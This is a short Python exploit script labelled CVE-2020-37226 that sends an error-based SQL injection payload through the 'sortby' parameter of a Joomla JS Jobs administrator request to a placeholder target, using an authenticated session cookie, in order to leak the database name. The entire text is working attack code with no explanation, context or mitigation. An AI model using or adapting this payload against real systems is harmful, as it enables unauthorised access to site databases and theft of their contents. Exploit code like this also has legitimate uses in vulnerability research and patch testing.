CVE-2020-37226

import requests # Target URL url = "http://target.com/administrator/index.php" # SQL Injection Payload in 'sortby' parameter payload_data = { "option": "com_jsjobs", "task": "resume.getresumes", "sortby": "1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,0x27,(SELECT database()),0x27,0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" } # Cookies for authenticated session (Required) cookies = { "example_cookie": "authenticated_session_value" } response = requests.post(url, data=payload_data, cookies=cookies) if response.status_code == 200: print("Request sent successfully. Check response for SQL error or data leakage.") else: print("Failed to send request")

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